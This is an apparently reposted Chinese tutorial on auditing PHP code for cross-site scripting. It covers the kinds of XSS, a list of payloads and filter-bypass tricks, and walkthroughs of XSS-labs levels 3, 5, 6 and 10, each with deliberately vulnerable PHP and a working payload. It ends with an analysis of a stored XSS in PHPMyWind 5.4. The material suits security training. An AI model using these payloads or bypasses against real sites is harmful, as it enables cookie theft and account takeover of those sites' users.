PHP代码审计5—XSS漏洞

一、XSS漏洞基础

1、基本定义

跨站脚本攻击(cross site Script)是攻击者利用网站程序对用户的输入过滤不足,输入内容可以显示在页面上从而对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或进行病毒侵害的一种攻击方式。为了与层叠样式表CSS进行区分,通常简写为XSS .

2、XSS攻击分类

反射性:

反射性XSS攻击只是简单的将数据直接或未经完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可能被浏览器执行的代码。由于此种代码通常存在于URL中,所以攻击者往往需要通过诱骗受害者点击恶意连接,从而实施攻击。

存储型:

指web应用程序对用户输入数据过滤不严格,导致web应用程序将黑客的恶意跨站攻击脚本存入数据库或其他形式的文件中,当受害者进行查询时,会从中获取脚本内容并执行。从而导致存储型跨站脚本攻击。

DOM型:

DOM型XSS攻击指通过修改DOM节点数据信息而形成的XSS攻击。开展相关攻击需要针对JavaScript DOM代码进行分析,并根据实际情况进行利用。DOM型XSS攻击类似于反射型的XSS攻击,但是DOM型XSS攻击的区别在于javascript代码并不经过后端处理,而是在前端使用javascript代码处理后进行的输出。

3、常见攻击方式

XSS攻击的利用方式多种多样,包括窃取用户信息,XSS盗取Cookie,XSS 钓鱼攻击,XSS蠕虫攻击、插入黑链、点击劫持、键盘记录等。

XSS作为一种被动型的攻击,如何诱骗用户点击就是一个大的问题。往往涉及到URL、短链接变形以及嵌入其他页面进行点击劫持等。

4、常见的payload与工具

常见攻击方式:

  • 行间式

    <div onclick="alert('yea...这样子可以执行JS哦')"></div>
    <a href="javascript:alert('执行JS代码但不跳转');">点我</a>
    <a href="javascript:void(0)" onclick="alert('点击执行JS代码');">再来点我啊</a>
    <img src=1 onerror=alert("XSS");>    #使用onerror事件在源地址加载错误时执行XSS代码
    <input onfocue=alert("XSS");>    #规定一个输入字段,在对象获得焦点时执行
    <details ontuggle=alert("xss");>  #一个提供用户开启和关闭功能的交互式可见或影藏补充内容的控件,ontoggle事件在用户打开元素时触发
    <svg onload=alert("XSS");>  #在HTML网页中嵌入SVG文件来引入JS代码
    <select onfocus=alert("XSS");></select> # <select>标签用于创建下拉列表,获得焦点时触发JS代码
    <iframe onload=alert("XSS");></iframe>    #<iframe>标签会创建一个包含另外一个文档的内联框架
    <video sourse=1 onerror=alert("XSS");>
      .........
    
  • 外链式

    <script src="../test.js"></script>
    <img src=http://xxx.xxx/com/xxx.js> 
    .....
    
  • 嵌入式

     <script>
            alert('js hello world!');//弹窗
     </script>
    
  • 通过事件引入

    常见的js事件:
     onchange:HTML元素已被改变时执行JS
     onclick: 当用户点击了 HTML 元素时执行JS
     onmouseover: 当用户把鼠标移动到 HTML 元素上时执行JS
     onmouseout: 当用户把鼠标移开 HTML 元素时执行JS
     onkeydown: 当用户按下键盘按键时执行JS
     onload:当浏览器已经完成页面加载时执行JS
     onerror: 当执行错误时加载JS代码
    

常见的测试工具:

  • XSStrike:基于python3编写的XSS测试工具
  • XSSer: 支持多平台运行

5、常见的防御绕过技巧

  • 空格过滤绕过:
    • 使用“/”来替代空格
    • eg: <img/src=1/onerror=alert("XSS");>
  • 引号过滤绕过:
    • 在HTML中可以不使用引号,在JS中可以用反引号 “`”
  • 括号过滤绕过:
    • 括号过滤可以使用throw来绕过。throw语句用于在错误发生时抛出一个错误
    • eg: <img src=x onerrror="javascript:windows.onerror=alert;throw 1">
  • 关键字过滤绕过:
    • 大小写绕过
    • 双写绕过:某些WAF可能只检测并替换一次,这种情况就可以考虑双写绕过
    • 字符串拼接绕过:
      • 利用eval()函数,与PHP的eval函数相同,JAVAscript的eval函数同样可以执行javascript字符串,并把它当做脚本来执行。eg: <img src='x' onerror="a='aler';b='t';c='('XSS')';eval(a+b+c)">
      • 利用top()函数:eg: <script>top['a'+'lert']('XSS')</script>
  • 字符编码绕过:
    • URL编码绕过URLdecolde+strReplace

二、XSS-labs部分代码分析

1、Level-3分析

首先先看一下代码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

这里首先使用了GET方式获取了传入的keyword,然后在输出的两个地方,都使用了htmlspecialChars()函数对传入的结果进行HTML实体编码,然后使用了单引号来包裹value属性的值。

我们知道,htmlspecialChars()会对<,>,&,",',",@符号进行编码,所以我们需要考虑一种JS代码不带这些符号的使用方式。

仔细看代码我们知道,他在input的标签的的Value属性的位置输出了我们的输入内容,那么我们就可以考虑引入JS事件的方式来进行利用但是在JS代码中并不能存在上述的那些符号。这里有这样一个payload:

‘ οninput=alert(1) ’

当我们输入这个payload后,我们的输出内容就会变成这样:

<center>
<form action=level3.php method=GET>
<input name=keyword  value='' οninput=alert(1) ''>	
<input type=submit name=submit value=搜索 />
</form>
</center>

由于我们输入的JS代码中没有特殊符号,所以不会被进行转义,而前后用于闭合的单引号被编码后输出,也同样会被前端解析成引号从而成功闭合value属性。不过这里还利用了一个特性,那就是我们的alert()函数的输出内容可以不需要引号包裹,所以能够被绕过。

实际测试:

在这里插入图片描述

2、Level-5分析

还是先看代码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

可见,和Less-3的区别挺大.
区别一:使用了strtolower()函数将输入内容转换为小写。
区别二:对输入内容使用了str_replace()函数替换on和<script,也就是说所有的事件和script标签都不能用了。
区别三:iuput框是value处的输出没有使用htmlcpeailchar()函数编码。

既然不能使用js事件和script标签,就只能想想其他办法了,回看上面的XSS payload,我们能发现有这样一个payload能够满足这个条件(由于是在标签行内,所以需要在首尾加上引号和尖括号进行闭合):

"> <a href="javascript:alert(XSS);">点我</a> <"

实际测试:

在这里插入图片描述

3、Level-6分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>

和Less-5一个套路,但是把src,href,data也给过滤了,这就很难搞。

不过方法总是有的,我们仔细观察,发现并没有使用strtolower()函数转化为小写,所以大小写绕过即可。paylaod:

"><sCript>alert(123)</FScripT>

在这里插入图片描述

4、Level-10分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

从上面的代码我们可以看到,一共获取了两个参数,第一个是keyword,一个是t_sort。

对于我们的keyword参数,使用了htmlspecailchar()函数进行编码输出,在这里由于不是行内嵌入,所以没有办法进行闭合闭合绕过。只能考虑t_sort参数。

t_sort参数使用了str_replace()函数对"<“和”>“进行了替换,但是并没有进行htmL实体编码输出和其他操作,所以只要采取没有”<“和”>"的payload即可。payload如下:

" type="text" onclick="alert('xss');

测试结果:

在这里插入图片描述

三、实例:PHPmyWind XSS漏洞分析

漏洞详情:在 PHPMyWind5.4 客户留言处,由于留言内容处理不当,导致在管理修改恢复修改留言内容时,能触发攻击者插入的XSS攻击代码。

首先我们在首页的客户留言位置插入一跳留言数据,然后抓包观察数据提交的位置:

在这里插入图片描述

可见我们的留言内容是使用的content参数进行传递,并且传递到了message.php文件中。我们进入message.php文件分析其代码:

在这里插入图片描述

可见在第28行,使用了htmlspecialchars()函数进行实体编码转义,然后在第34行是插入到了数据库中。这里其实并没有什么问题,进行了实体编码理论上比较安全。

但是我们来到后台留言管理的地方,按照漏洞描述,选举修改留言,并抓包:

在这里插入图片描述

可见,通关ID定位了我们的留言内容,然后请求的后端文件是message_update.php。我们进入改文件分析一下代码:

在这里插入图片描述

在代码的第15行通过id查询到了留言的内容,然后在第30行,直接使用了echo输出我们的js代码到文本域之中。

虽然经过了HTM实体编码,但是输出的位置是直接输出到了htm代码中,并不是作为属性内容输出,所以html实体编码并没有实际作用。下面是输出后的实际效果:

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_45590334/article/details/125989941
今日推荐